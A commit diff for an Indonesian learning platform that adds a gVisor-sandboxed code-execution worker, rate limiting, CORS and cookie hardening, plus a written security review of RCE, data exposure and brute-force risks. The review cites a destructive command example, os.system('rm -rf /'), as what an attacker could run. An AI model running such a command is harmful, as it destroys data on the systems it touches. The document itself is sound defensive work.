Compare commits
2 Commits
6d5c27f93f
...
e4c68b2894
| Author | SHA1 | Date |
|---|---|---|
|
|
e4c68b2894 | |
|
|
a41711fb54 |
|
|
@ -13,6 +13,10 @@ CURSOR_OFFSET_Y=50
|
|||
# Penamaan folder & file ini dipakai didalam lingkup container
|
||||
CONTENT_DIR=content
|
||||
TOKENS_FILE=tokens.csv
|
||||
# Domain frontend yang diizinkan untuk CORS (misal: http://localhost:3000)
|
||||
ORIGIN=http://localhost:3000
|
||||
COOKIE_SECURE=false
|
||||
COMPILER_WORKER_URL=http://compiler-worker:8080/execute
|
||||
|
||||
# ── Tailscale (opsional, untuk jaringan P2P) ───
|
||||
ELEMES_HOST=sinau-c-hostname-kamu
|
||||
|
|
|
|||
|
|
@ -2,3 +2,4 @@ __pycache__
|
|||
test_data.json
|
||||
load-test/env
|
||||
load-test/test_data.json
|
||||
video_gen
|
||||
|
|
|
|||
8
app.py
8
app.py
|
|
@ -10,6 +10,7 @@ import logging
|
|||
from flask import Flask
|
||||
from flask_cors import CORS
|
||||
|
||||
from extensions import limiter
|
||||
from services.lesson_service import get_lesson_names
|
||||
from services.token_service import initialize_tokens_file
|
||||
|
||||
|
|
@ -25,7 +26,12 @@ def create_app():
|
|||
app = Flask(__name__)
|
||||
|
||||
# Allow cross-origin requests from the SvelteKit frontend
|
||||
CORS(app)
|
||||
import os
|
||||
allowed_origin = os.environ.get('ORIGIN', '*')
|
||||
CORS(app, resources={r"/*": {"origins": allowed_origin}})
|
||||
|
||||
# Initialize extensions
|
||||
limiter.init_app(app)
|
||||
|
||||
# ── Blueprints ────────────────────────────────────────────────────
|
||||
from routes.auth import auth_bp
|
||||
|
|
|
|||
|
|
@ -0,0 +1,18 @@
|
|||
FROM python:3.11-slim
|
||||
|
||||
# Install GCC and other build tools
|
||||
RUN apt-get update && apt-get install -y \
|
||||
gcc \
|
||||
libc6-dev \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
WORKDIR /app
|
||||
|
||||
RUN pip install --no-cache-dir flask gunicorn
|
||||
|
||||
COPY app.py .
|
||||
|
||||
EXPOSE 8080
|
||||
|
||||
# Run with 4 workers to handle concurrent requests
|
||||
CMD ["gunicorn", "--bind", "0.0.0.0:8080", "--workers", "4", "--timeout", "30", "app:app"]
|
||||
|
|
@ -0,0 +1,73 @@
|
|||
import subprocess
|
||||
import os
|
||||
import tempfile
|
||||
import uuid
|
||||
from flask import Flask, request, jsonify
|
||||
|
||||
app = Flask(__name__)
|
||||
|
||||
def run_c_code(code, timeout=5):
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
source_path = os.path.join(tmpdir, "program.c")
|
||||
exe_path = os.path.join(tmpdir, "program")
|
||||
|
||||
with open(source_path, "w") as f:
|
||||
f.write(code)
|
||||
|
||||
# Compile
|
||||
try:
|
||||
compile_res = subprocess.run(
|
||||
["gcc", source_path, "-o", exe_path],
|
||||
capture_output=True, text=True, timeout=10
|
||||
)
|
||||
if compile_res.returncode != 0:
|
||||
return {"success": False, "output": compile_res.stdout, "error": compile_res.stderr}
|
||||
except subprocess.TimeoutExpired:
|
||||
return {"success": False, "output": "", "error": "Compilation timed out"}
|
||||
|
||||
# Run
|
||||
try:
|
||||
run_res = subprocess.run(
|
||||
[exe_path],
|
||||
capture_output=True, text=True, timeout=timeout
|
||||
)
|
||||
return {"success": True, "output": run_res.stdout, "error": run_res.stderr}
|
||||
except subprocess.TimeoutExpired:
|
||||
return {"success": False, "output": "", "error": "Program execution timed out"}
|
||||
except Exception as e:
|
||||
return {"success": False, "output": "", "error": str(e)}
|
||||
|
||||
def run_python_code(code, timeout=5):
|
||||
with tempfile.NamedTemporaryFile(suffix=".py", delete=False) as tmp:
|
||||
tmp.write(code.encode('utf-8'))
|
||||
tmp_path = tmp.name
|
||||
|
||||
try:
|
||||
run_res = subprocess.run(
|
||||
["python3", tmp_path],
|
||||
capture_output=True, text=True, timeout=timeout
|
||||
)
|
||||
return {"success": True, "output": run_res.stdout, "error": run_res.stderr}
|
||||
except subprocess.TimeoutExpired:
|
||||
return {"success": False, "output": "", "error": "Program execution timed out"}
|
||||
except Exception as e:
|
||||
return {"success": False, "output": "", "error": str(e)}
|
||||
finally:
|
||||
if os.path.exists(tmp_path):
|
||||
os.remove(tmp_path)
|
||||
|
||||
@app.route('/execute', methods=['POST'])
|
||||
def execute():
|
||||
data = request.json
|
||||
code = data.get("code", "")
|
||||
language = data.get("language", "").lower()
|
||||
|
||||
if language == "c":
|
||||
return jsonify(run_c_code(code))
|
||||
elif language == "python":
|
||||
return jsonify(run_python_code(code))
|
||||
else:
|
||||
return jsonify({"success": False, "output": "", "error": f"Unsupported language: {language}"}), 400
|
||||
|
||||
if __name__ == "__main__":
|
||||
app.run(host="0.0.0.0", port=8080)
|
||||
|
|
@ -13,6 +13,12 @@
|
|||
"/assets/": {
|
||||
"Proxy": "http://elemes:5000/assets/"
|
||||
},
|
||||
"/velxio/api/compile/": {
|
||||
"Proxy": "http://elemes:5000/velxio-compile/"
|
||||
},
|
||||
"/velxio/api/compile": {
|
||||
"Proxy": "http://elemes:5000/velxio-compile"
|
||||
},
|
||||
"/velxio/": {
|
||||
"Proxy": "http://velxio:80/"
|
||||
}
|
||||
|
|
|
|||
|
|
@ -1,7 +1,7 @@
|
|||
# Elemes LMS — Dokumentasi Teknis
|
||||
|
||||
**Project:** LMS-C (Learning Management System untuk Pemrograman C & Arduino)
|
||||
**Terakhir diupdate:** 8 April 2026
|
||||
**Terakhir diupdate:** 22 April 2026
|
||||
|
||||
---
|
||||
|
||||
|
|
@ -15,6 +15,7 @@ Tailscale Funnel (elemes-ts)
|
|||
│
|
||||
├── / → SvelteKit Frontend (elemes-frontend :3000)
|
||||
├── /assets/ → Flask Backend (elemes :5000)
|
||||
├── /velxio/api/compile → Flask Backend (Rate-limited Proxy :5000)
|
||||
├── /velxio/ → Velxio Arduino Simulator (velxio :80)
|
||||
│
|
||||
▼
|
||||
|
|
@ -28,11 +29,18 @@ SvelteKit Frontend (elemes-frontend :3000)
|
|||
│
|
||||
▼ /api/*
|
||||
Flask API Backend (elemes :5000)
|
||||
├── Code compilation (gcc / python)
|
||||
├── Code compilation (Proxied to Compiler Worker)
|
||||
├── Arduino Proxy (/velxio-compile → Velxio :80)
|
||||
├── Token authentication (CSV)
|
||||
├── Progress tracking
|
||||
└── Lesson content parsing (markdown)
|
||||
│
|
||||
▼ HTTP
|
||||
Compiler Worker (compiler-worker :8080)
|
||||
├── gVisor Sandbox (runsc runtime)
|
||||
├── Gunicorn (4 workers)
|
||||
└── Isolation: gcc / python3 execution
|
||||
│
|
||||
Velxio Arduino Simulator (velxio :80)
|
||||
├── React + Vite frontend (editor + simulator canvas)
|
||||
├── FastAPI backend (arduino-cli compile)
|
||||
|
|
@ -44,7 +52,8 @@ Velxio Arduino Simulator (velxio :80)
|
|||
|
||||
| Container | Image | Port | Fungsi |
|
||||
|-----------|-------|------|--------|
|
||||
| `elemes` | Python 3.11 + gcc | 5000 | Flask API (compile, auth, lessons, progress) |
|
||||
| `elemes` | Python 3.11 | 5000 | Flask API (auth, lessons, progress, compile-proxy) |
|
||||
| `compiler-worker` | Python 3.11 + gcc | 8080 | **Sandboxed** execution engine (gVisor) |
|
||||
| `elemes-frontend` | Node 20 | 3000 | SvelteKit SSR |
|
||||
| `velxio` | Node + Python + arduino-cli | 80 | Simulator Arduino (React + FastAPI) |
|
||||
| `elemes-ts` | Tailscale | 443 | HTTPS Funnel + reverse proxy |
|
||||
|
|
@ -250,7 +259,8 @@ Semua endpoint Flask diakses via SvelteKit proxy (`/api/*` → Flask `:5000`, pr
|
|||
| GET | `/api/lessons` | `/lessons` | Daftar lesson + home content |
|
||||
| GET | `/api/lesson/<slug>.json` | `/lesson/<slug>.json` | Data lesson lengkap |
|
||||
| GET | `/api/get-key-text/<slug>` | `/get-key-text/<slug>` | Key text untuk lesson |
|
||||
| POST | `/api/compile` | `/compile` | Compile & run kode (C/Python) |
|
||||
| POST | `/api/compile` | `/compile` | Compile & run kode (C/Python) via worker |
|
||||
| POST | `/velxio/api/compile` | `/velxio-compile` | **Rate-limited** Arduino compile proxy |
|
||||
| POST | `/api/track-progress` | `/track-progress` | Track progress siswa |
|
||||
| GET | `/api/progress-report.json` | `/progress-report.json` | Data progress semua siswa |
|
||||
| GET | `/api/progress-report/export-csv` | `/progress-report/export-csv` | Export CSV |
|
||||
|
|
@ -456,6 +466,38 @@ Diaktifkan via prop `noPaste={true}`.
|
|||
|
||||
---
|
||||
|
||||
## Keamanan & Autentikasi (Security)
|
||||
|
||||
Sistem pengamanan untuk melindungi data siswa dan mencegah penyalahgunaan API.
|
||||
|
||||
### 1. Eksekusi Terisolasi (gVisor Sandbox)
|
||||
Seluruh kode yang dikirim oleh siswa (C dan Python) tidak dieksekusi di dalam container utama, melainkan diteruskan ke **Compiler Worker** yang berjalan menggunakan **runtime gVisor (`runsc`)**. Ini mencegah serangan *Remote Code Execution* (RCE) yang menargetkan kernel sistem operasi host.
|
||||
|
||||
### 2. Anonymous Access & Rate Limiting
|
||||
Sistem mengizinkan pengguna tanpa token (anonim) untuk mencoba pembelajaran dengan batasan ketat:
|
||||
- **Rate Limit**: Pengguna anonim dibatasi **1 kali kompilasi setiap 2 menit** per IP.
|
||||
- **Global Queue**: Maksimal **20 slot** antrean kompilasi anonim secara global untuk menjaga stabilitas server.
|
||||
- **Bypass**: Pengguna yang telah login (memiliki token/cookie valid) **bebas** dari batasan rate limit ini.
|
||||
- **Velxio Protection**: Kompilasi Arduino diproteksi melalui proxy backend Flask untuk mencegah *hijacking* API dari sisi klien.
|
||||
|
||||
### 3. Cookie Security (Dynamic Secure Flag)
|
||||
LMS menggunakan cookie `student_token` untuk mengelola sesi. Keamanannya diatur secara dinamis melalui environment variable.
|
||||
- **`httponly: true`**: Mencegah akses cookie via JavaScript (proteksi XSS).
|
||||
- **`secure: COOKIE_SECURE`**: Jika `true`, cookie hanya dikirim via HTTPS. Sangat penting saat dideploy via Tailscale Funnel.
|
||||
- **`samesite: 'Lax'`**: Proteksi dasar terhadap CSRF.
|
||||
|
||||
### 2. Proteksi Brute-Force & Anti-Spam
|
||||
Untuk mencegah penebakan token secara massal, terutama pada jaringan WiFi sekolah yang menggunakan satu IP publik (NAT):
|
||||
- **Rate Limiting**: Endpoint `/api/login` dibatasi maksimal **50 request per menit per IP**. Angka ini diatur untuk mengakomodasi satu kelas (50 siswa) yang login bersamaan tanpa saling memblokir.
|
||||
- **Tarpitting (Login Delay)**: Setiap percobaan login yang **gagal** akan ditahan selama **1.5 detik** sebelum server memberikan respons. Ini melumpuhkan efektivitas alat brute-force otomatis tanpa mengganggu pengalaman siswa asli yang hanya sesekali salah ketik.
|
||||
|
||||
### 3. Session Invalidation (Token Blacklist)
|
||||
Mekanisme logout server-side untuk memastikan token tidak bisa digunakan kembali setelah sesi berakhir.
|
||||
- **Mekanisme**: Menggunakan `LOGOUT_BLACKLIST` (in-memory set) di Flask backend.
|
||||
- **Flow**: Saat user klik logout, token ditambahkan ke blacklist. Semua request berikutnya dengan token tersebut akan ditolak oleh `validate_token()`.
|
||||
|
||||
---
|
||||
|
||||
## Touch Crosshair System (CircuitJS)
|
||||
|
||||
Overlay untuk presisi interaksi di iframe CircuitJS pada perangkat sentuh. Aktif hanya pada touch device (CSS media query `hover: none` + `pointer: coarse`).
|
||||
|
|
@ -560,6 +602,7 @@ Redo (Ctrl+Shift+Z / toolbar button)
|
|||
- [x] Velxio integration di Elemes (bridge, parsing, UI, evaluasi)
|
||||
- [x] Mobile wiring UX (pinch-zoom preserve wire, crosshair alignment)
|
||||
- [x] Wire undo/redo (snapshot-based, Ctrl+Z/Ctrl+Shift+Z, toolbar button, mobile-friendly)
|
||||
- [x] Security Review & Hardening (Cookie security, Rate limiting, Tarpitting, Blacklisting)
|
||||
- [x] Contoh lesson Arduino (LED Blink)
|
||||
- [ ] PWA (service worker, offline caching)
|
||||
- [ ] Contoh lesson Arduino tambahan (2-3 lagi)
|
||||
|
|
|
|||
|
|
@ -83,7 +83,7 @@ runbuild | runclearbuild)
|
|||
;;
|
||||
run)
|
||||
echo "🚀 Menjalankan container..."
|
||||
podman-compose -p "$PROJECT_NAME" --env-file ../.env up -d
|
||||
podman-compose -p "$PROJECT_NAME" --env-file ../.env up
|
||||
echo "✅ Elemes berhasil dijalankan!"
|
||||
;;
|
||||
generatetoken)
|
||||
|
|
|
|||
|
|
@ -0,0 +1,8 @@
|
|||
from flask_limiter import Limiter
|
||||
from flask_limiter.util import get_remote_address
|
||||
|
||||
# Initialize Limiter without app for the app factory pattern
|
||||
limiter = Limiter(
|
||||
key_func=get_remote_address,
|
||||
storage_uri="memory://",
|
||||
)
|
||||
|
|
@ -19,11 +19,18 @@ export const handle: Handle = async ({ event, resolve }) => {
|
|||
// Proxy /api/* and /assets/* to Flask backend
|
||||
const isApi = event.url.pathname.startsWith('/api/');
|
||||
const isAsset = event.url.pathname.startsWith('/assets/');
|
||||
const isVelxioCompile = event.url.pathname === '/velxio/api/compile' || event.url.pathname === '/velxio/api/compile/';
|
||||
|
||||
if (isApi || isAsset || isVelxioCompile) {
|
||||
let backendPath = '';
|
||||
if (isVelxioCompile) {
|
||||
backendPath = '/velxio-compile/';
|
||||
} else if (isApi) {
|
||||
backendPath = event.url.pathname.replace(/^\/api/, '');
|
||||
} else {
|
||||
backendPath = event.url.pathname;
|
||||
}
|
||||
|
||||
if (isApi || isAsset) {
|
||||
const backendPath = isApi
|
||||
? event.url.pathname.replace(/^\/api/, '')
|
||||
: event.url.pathname; // /assets/* kept as-is
|
||||
const backendUrl = `${API_BACKEND}${backendPath}${event.url.search}`;
|
||||
|
||||
try {
|
||||
|
|
|
|||
|
|
@ -31,7 +31,7 @@
|
|||
}
|
||||
</script>
|
||||
|
||||
<nav class="navbar" onclick={() => auth.recordActivity()}>
|
||||
<nav class="navbar" onclickcapture={() => auth.recordActivity()}>
|
||||
<div class="container navbar-inner">
|
||||
{#if $lessonContext}
|
||||
<!-- Lesson mode -->
|
||||
|
|
|
|||
|
|
@ -1,6 +1,7 @@
|
|||
export interface CompileRequest {
|
||||
code: string;
|
||||
language: string;
|
||||
token?: string;
|
||||
}
|
||||
|
||||
export interface CompileResponse {
|
||||
|
|
|
|||
|
|
@ -386,7 +386,7 @@
|
|||
|
||||
try {
|
||||
const code = (currentLanguage === lang) ? (editor?.getCode() ?? currentCode) : (lang === 'c' ? cCode : pythonCode);
|
||||
const res = await compileCode({ code, language: lang });
|
||||
const res = await compileCode({ code, language: lang, token: auth.token });
|
||||
|
||||
if (!res.success) {
|
||||
Object.assign(out, { error: res.error || 'Compilation failed', success: false });
|
||||
|
|
|
|||
|
|
@ -1,5 +1,6 @@
|
|||
<script lang="ts">
|
||||
import { onMount } from 'svelte';
|
||||
import { auth, authIsTeacher } from '$stores/auth';
|
||||
|
||||
interface LessonHeader {
|
||||
filename: string;
|
||||
|
|
@ -17,8 +18,13 @@
|
|||
let loading = $state(true);
|
||||
|
||||
onMount(async () => {
|
||||
if (!$authIsTeacher) {
|
||||
loading = false;
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
const res = await fetch('/api/progress-report.json');
|
||||
const res = await fetch(`/api/progress-report.json?token=${encodeURIComponent(auth.token)}`);
|
||||
const data = await res.json();
|
||||
students = data.students ?? [];
|
||||
lessons = data.lessons ?? [];
|
||||
|
|
@ -38,7 +44,9 @@
|
|||
|
||||
<h1>Laporan Progress Siswa</h1>
|
||||
|
||||
{#if loading}
|
||||
{#if !$authIsTeacher}
|
||||
<p class="empty">Anda tidak memiliki akses ke halaman ini.</p>
|
||||
{:else if loading}
|
||||
<p class="loading">Memuat data...</p>
|
||||
{:else if students.length === 0}
|
||||
<p class="empty">Belum ada data siswa.</p>
|
||||
|
|
@ -46,7 +54,7 @@
|
|||
<div class="summary-bar">
|
||||
<span><strong>{students.length}</strong> siswa</span>
|
||||
<span><strong>{totalLessons}</strong> pelajaran</span>
|
||||
<a href="/api/progress-report/export-csv" class="btn btn-secondary btn-sm">
|
||||
<a href="/api/progress-report/export-csv?token={encodeURIComponent(auth.token)}" class="btn btn-secondary btn-sm">
|
||||
Export CSV
|
||||
</a>
|
||||
</div>
|
||||
|
|
|
|||
|
|
@ -10,6 +10,11 @@ export default defineConfig({
|
|||
changeOrigin: true,
|
||||
rewrite: (path) => path.replace(/^\/api/, '')
|
||||
},
|
||||
'/velxio/api/compile': {
|
||||
target: 'http://elemes:5000',
|
||||
changeOrigin: true,
|
||||
rewrite: (path) => '/velxio-compile'
|
||||
},
|
||||
'/assets': {
|
||||
target: 'http://elemes:5000',
|
||||
changeOrigin: true
|
||||
|
|
|
|||
|
|
@ -5,18 +5,27 @@ services:
|
|||
build: .
|
||||
image: lms-c-backend:latest
|
||||
volumes:
|
||||
- ../content:/app/content
|
||||
- ../tokens_siswa.csv:/app/tokens.csv
|
||||
- ../assets:/app/assets
|
||||
- ../content:/app/content:ro
|
||||
- ../tokens_siswa.csv:/app/tokens.csv:rw
|
||||
- ../assets:/app/assets:ro
|
||||
env_file:
|
||||
- ../.env
|
||||
|
||||
environment:
|
||||
- COMPILER_WORKER_URL=http://compiler-worker:8080/execute
|
||||
networks:
|
||||
- elemes_network
|
||||
# production
|
||||
command: gunicorn --config gunicorn.conf.py "app:create_app()"
|
||||
|
||||
# debug
|
||||
# command: python app.py
|
||||
|
||||
compiler-worker:
|
||||
build: ./compiler_worker
|
||||
image: lms-c-compiler-worker:latest
|
||||
runtime: runsc # Enable gVisor
|
||||
networks:
|
||||
- elemes_network
|
||||
|
||||
elemes-frontend:
|
||||
build: ./frontend
|
||||
image: lms-c-frontend:latest
|
||||
|
|
@ -29,6 +38,8 @@ services:
|
|||
- PUBLIC_COPYRIGHT_TEXT=${COPYRIGHT_TEXT}
|
||||
- PUBLIC_PAGE_TITLE_SUFFIX=${PAGE_TITLE_SUFFIX}
|
||||
- PUBLIC_CURSOR_OFFSET_Y=${CURSOR_OFFSET_Y:-50}
|
||||
networks:
|
||||
- elemes_network
|
||||
depends_on:
|
||||
- elemes
|
||||
|
||||
|
|
@ -45,6 +56,8 @@ services:
|
|||
- SECRET_KEY=embed-only-no-auth-needed
|
||||
- DATABASE_URL=sqlite+aiosqlite:////app/data/velxio.db
|
||||
- DATA_DIR=/app/data
|
||||
networks:
|
||||
- elemes_network
|
||||
volumes:
|
||||
- velxio-data:/app/data
|
||||
- velxio-arduino-libs:/root/.arduino15
|
||||
|
|
@ -75,6 +88,6 @@ volumes:
|
|||
velxio-arduino-libs:
|
||||
|
||||
networks:
|
||||
main_network:
|
||||
elemes_network:
|
||||
driver: bridge
|
||||
network_mode: service:elemes-ts
|
||||
|
|
|
|||
397
proposal.md
397
proposal.md
|
|
@ -1,33 +1,6 @@
|
|||
# Elemes LMS: Sisa Pekerjaan (To-Do List)
|
||||
|
||||
Berdasarkan log penyelesaian integrasi Velxio dan dokumen sebelumnya, berikut adalah daftar sisa pekerjaan (TODO) proyek. Terakhir diperbarui: 2026-04-10.
|
||||
|
||||
## ✅ Sudah Selesai
|
||||
|
||||
- [x] **Verifikasi Penamaan Pin (Pin Naming)**
|
||||
- Diverifikasi dari `velxio/frontend/src/data/examples.ts` — konvensi pin sudah benar.
|
||||
- Tabel referensi pin terdokumentasi di `README.md` (Arduino Uno, LED, Button, Resistor, RGB LED).
|
||||
- `componentId` Arduino Uno = `arduino-uno`, pin GND dinormalisasi oleh `matchWiring()`.
|
||||
- [x] **Pembuatan Konten Tambahan** — 3 lesson Arduino baru:
|
||||
- `hello_serial_arduino.md` — Serial Monitor (tanpa wiring, kode saja)
|
||||
- `button_input_arduino.md` — Button + LED (INPUT_PULLUP, 4 expected wiring)
|
||||
- `traffic_light_arduino.md` — Lampu Lalu Lintas 3 LED (6 expected wiring)
|
||||
- [x] **Update Contoh Materi & Dokumentasi Guru**
|
||||
- `examples/content/` disinkronkan (8 file, byte-identical dengan `content/`)
|
||||
- `README.md` ditambahkan: blok Arduino/Velxio, referensi pin, evaluasi, 3 FAQ baru, tabel jenis materi
|
||||
- `home.md` sekarang mendaftarkan 7 lesson
|
||||
- [x] **Network Config di Docker/Podman**
|
||||
- Typo `drive: bridge` → `driver: bridge` di `podman-compose.yml`
|
||||
- `network_mode: service:elemes-ts` dihapus karena tidak kompatibel dengan `networks` block
|
||||
- [x] **Commit semua perubahan**
|
||||
- Elemes: 2 commit ahead of origin
|
||||
- Velxio: 2 commit ahead of origin
|
||||
|
||||
- [x] **Locust E2E Test Suite** — `load-test/` folder:
|
||||
- `content_parser.py` — scan `content/*.md`, deteksi tipe, ekstrak test data → `test_data.json`
|
||||
- `locustfile.py` — 7 weighted tasks (browse, view detail, compile C, compile Python, verify Arduino, complete flow, progress report)
|
||||
- Auto-inject token test (`LOCUST_TEST_*`) ke `tokens_siswa.csv`
|
||||
- URL backend dikonfigurasi user melalui Locust web UI
|
||||
Berdasarkan log penyelesaian integrasi Velxio dan dokumen sebelumnya, berikut adalah daftar sisa pekerjaan (TODO) proyek. Terakhir diperbarui: 2026-04-22.
|
||||
|
||||
## 🔴 Prioritas Tinggi
|
||||
- [x] **Testing End-to-End (E2E)**
|
||||
|
|
@ -54,3 +27,371 @@ Berdasarkan log penyelesaian integrasi Velxio dan dokumen sebelumnya, berikut ad
|
|||
## ⚪ Opsional
|
||||
- [x] ~~**Locust Load Testing Plan**~~ → Sudah diimplementasi di `load-test/`
|
||||
- [x] **Locust Hasil Analisis** — Evaluasi skenario 50 user (5 worker) selesai. *Finding*: Rata-rata respons LMS stabil di 200ms (50th percentile). Namun, kompilasi Arduino (`/velxio/api/compile/`) terdeteksi sebagai *CPU bottleneck* yang menyebabkan waktu tunggu mencapai 30 detik (95th percentile) di bawah tekanan serbuan *request* berskala ekstrem. Server/LMS dinilai layak dan responsif secara keseluruhan.
|
||||
|
||||
## 🚨 Security Review & Vulnerability Fixes (Prioritas Kritis)
|
||||
|
||||
Berdasarkan hasil code review terbaru yang difokuskan pada keamanan sistem dan *exposed routes* API, ditemukan beberapa celah kerentanan kritis yang perlu segera diperbaiki. Berikut adalah detail temuan dan *task* perbaikannya:
|
||||
|
||||
### 1. Remote Code Execution (RCE) via Endpoint `/compile`
|
||||
- **Penjelasan**: Endpoint `/compile` di `elemes/routes/compile.py` menerima dan mengeksekusi kode C dan Python yang di-*submit* oleh pengguna secara langsung (via `subprocess.run`). Eksekusi ini berjalan di dalam kontainer `elemes` tanpa adanya batasan hak akses atau *sandbox* tambahan. Pengguna anonim/jahat dapat mengeksekusi *shell script* atau perintah OS (seperti `os.system("rm -rf /")`) untuk menghapus, memodifikasi, atau membaca file sensitif. Terlebih lagi, *volume* `content`, `tokens_siswa.csv`, dan `assets` di-mount dengan akses *read-write* pada konfigurasi podman/docker, sehingga token akses seluruh siswa rentan diretas atau data materi bisa terhapus.
|
||||
- **Task Perbaikan**:
|
||||
- [x] **Gunakan Sandbox gVisor (Compiler Worker)**: Pisahkan fungsi kompilasi ke dalam kontainer terpisah (`compiler-worker`) yang dijalankan menggunakan *runtime* `runsc` (gVisor). Backend utama akan mengirimkan kode via HTTP internal.
|
||||
- [x] **Read-Only Mounts**: Ubah konfigurasi *bind mount* di `podman-compose.yml` pada direktori sensitif (`tokens_siswa.csv`, `content`, `assets`) menjadi *read-only* dengan menambahkan parameter `:ro` pada kontainer backend utama.
|
||||
- [x] **Otentikasi / Wajib Login**: Lindungi *route* `/compile` dengan menambahkan pengecekan token mahasiswa agar tidak bisa diakses oleh *user* anonim di luar sistem.
|
||||
- [x] **Resource Limiting**: Terapkan limit komputasi RAM dan CPU pada kontainer worker guna menghindari celah *Denial of Service* (DoS).
|
||||
|
||||
### 2. Information Disclosure via Endpoint `/progress-report.json`
|
||||
- **Penjelasan**: Rute `/progress-report.json` dan `/progress-report/export-csv` di `elemes/routes/progress.py` dapat diakses oleh siapa saja karena tidak menerapkan validasi token atau *role checks*. Data kemajuan belajar dan nama semua siswa di dalam file CSV akan terekspos tanpa otentikasi.
|
||||
- **Task Perbaikan**:
|
||||
- [x] **Otentikasi Token**: Tambahkan validasi token (via `validate_token`) sebelum memberikan *response* dari kedua *route* tersebut.
|
||||
|
||||
### 3. Miskonfigurasi CORS Longgar (Overly Permissive)
|
||||
- **Penjelasan**: Deklarasi `CORS(app)` di `elemes/app.py` mengizinkan seluruh asal domain (*all origins*) secara *default* (`*`). Mengingat sistem sudah menggunakan sesi berbasis *Cookie* (`samesite='Lax'`), ada potensi ancaman pengiriman *requests* lintas *website* dari penyerang.
|
||||
- **Task Perbaikan**:
|
||||
- [x] **Batasi Konfigurasi CORS**: Gunakan *environment variable* `ORIGIN` untuk menentukan domain eksplisit yang diizinkan (misal: `http://localhost:3000`).
|
||||
|
||||
### 4. Penyimpanan Token Teks Terbuka (Plaintext Credentials)
|
||||
- **Penjelasan**: Data di `tokens_siswa.csv` menyimpan token dalam format *plaintext*. Meskipun hanya file CSV lokal, bocornya satu file tersebut akan mengkompromikan semua token akses dalam sistem (terutama karena kerentanan RCE di poin 1).
|
||||
- **Task Perbaikan**:
|
||||
- [x] **Proteksi Token CSV**: Prioritas utama adalah menambal *vulnerability* utama (RCE via gVisor & Read-Only Mounts) agar peretas tidak bisa mengekstrak isinya.
|
||||
- [ ] *(Opsional)* **Hashed Tokens**: Gunakan fungsi *hashing* saat membaca/memverifikasi token.
|
||||
|
||||
### 5. Tidak Ada Sanitasi Input pada Parameter Path (Defense in Depth)
|
||||
- **Penjelasan**: Fungsi *route* `/lesson/<filename>.json` di `elemes/routes/lessons.py` mengandalkan `<filename>` yang langsung disambungkan via `os.path.join()`. Meskipun Flask memblokir `../` (Directory Traversal konvensional), tetap berisiko jika pengguna memanipulasi *request* API secara lebih *advanced*.
|
||||
- **Task Perbaikan**:
|
||||
- [x] **Terapkan `secure_filename`**: Gunakan `werkzeug.utils.secure_filename(filename)` sebelum argumen `<filename>` disambung ke direktori *content*.
|
||||
|
||||
---
|
||||
|
||||
## 🔐 Second Opinion: Security Review Tambahan (Update 2026-04-21)
|
||||
|
||||
Berdasarkan analisis komprehensif terhadap codebase, ditemukan celah keamanan tambahan yang perlu diperhatikan. Berikut detail temuan beserta dampak risikonya:
|
||||
|
||||
### 🎯 Executive Summary Risk Matrix
|
||||
|
||||
| Kategori | Severity | Likelihood | Dampak Bisnis |
|
||||
|----------|----------|------------|---------------|
|
||||
| Cookie Security | **HIGH** | **HIGH** | Session hijacking, data theft |
|
||||
| Rate Limiting | **HIGH** | **MEDIUM** | Brute force, DoS attack |
|
||||
| XSS via Markdown | **HIGH** | **MEDIUM** | Account takeover, data exfiltration |
|
||||
| Security Headers | **MEDIUM** | **HIGH** | Clickjacking, XSS, MIME confusion |
|
||||
| Logging Security | **MEDIUM** | **MEDIUM** | Credential leak, compliance violation |
|
||||
| Network Security | **MEDIUM** | **LOW** | Code injection, internal data leak |
|
||||
|
||||
---
|
||||
|
||||
### 🔴 6. Cookie Security & Session Management (HIGH RISK)
|
||||
|
||||
#### 6.1 Cookie `secure=False`
|
||||
**Lokasi**: `routes/auth.py:32`
|
||||
```python
|
||||
response.set_cookie('student_token', token, httponly=True, secure=False, samesite='Lax', ...)
|
||||
```
|
||||
|
||||
**Dampak Jika Tidak Ditangani:**
|
||||
- **Session Hijacking via MITM**: Attacker di jaringan publik (coffee shop WiFi, hotspot) dapat intercept cookie melalui HTTP yang tidak terenkripsi. Cookie dikirim plaintext melalui jaringan.
|
||||
- **Impersonation Attack**: Attacker yang berhasil mendapatkan token dapat login sebagai siswa mana saja tanpa autentikasi ulang, mengakses semua lesson dan progress data.
|
||||
- **Cross-Site Cookie Leak**: Meski `httponly=True`, jika ada XSS di subdomain atau sister site, cookie masih bisa dieksploitasi.
|
||||
|
||||
**Task Perbaikan**:
|
||||
- [x] **Conditional Secure Cookie**: Gunakan `secure=True` hanya jika environment production dengan HTTPS aktif. Implementasikan via environment variable `COOKIE_SECURE=true/false`.
|
||||
- [x] **SameSite Strict**: Pertimbangkan upgrade dari `Lax` ke `Strict` untuk perlindungan CSRF lebih kuat. (Note: Tetap 'Lax' untuk kompatibilitas, tapi flag Secure sudah dinamis).
|
||||
|
||||
---
|
||||
|
||||
#### 6.2 Tidak Ada Rate Limiting Login
|
||||
**Lokasi**: `routes/auth.py` - `/login` endpoint
|
||||
|
||||
**Dampak Jika Tidak Ditangani:**
|
||||
- **Brute Force Attack**: Attacker dapat mencoba ribuan kombinasi token secara otomatis sampai menemukan token valid. Dengan token format yang predictable, serangan ini sangat feasible.
|
||||
- **Credential Stuffing**: Jika siswa menggunakan token yang mudah ditebak (contoh: `token123`, `siswa001`), attacker dapat menebak dengan wordlist.
|
||||
- **DoS via Login Spam**: Server dapat kehabisan resources karena memproses ribuan request login palsu secara bersamaan.
|
||||
- **Token Enumeration**: Attacker dapat memetakan semua token valid di sistem dengan systematic guessing.
|
||||
|
||||
**Task Perbaikan**:
|
||||
- [x] **Rate Limiting**: Implementasikan Flask-Limiter dengan rules:
|
||||
- Max 50 attempts per IP per minute untuk `/login` (Akodomasi kelas WiFi)
|
||||
- [x] **Progressive Delay**: Tambahkan tarpitting (1.5s delay) untuk failed login.
|
||||
|
||||
---
|
||||
|
||||
#### 6.3 Tidak Ada Session Invalidation/Blacklist
|
||||
**Lokasi**: Tidak ada mekanisme revoke token
|
||||
|
||||
**Dampak Jika Tidak Ditangani:**
|
||||
- **Stale Session Attack**: Token tetap valid selama 24 jam (max_age) meski:
|
||||
- Siswa sudah logout
|
||||
- Token sudah direset/diubah guru
|
||||
- Siswa sudah tidak bersekolah lagi
|
||||
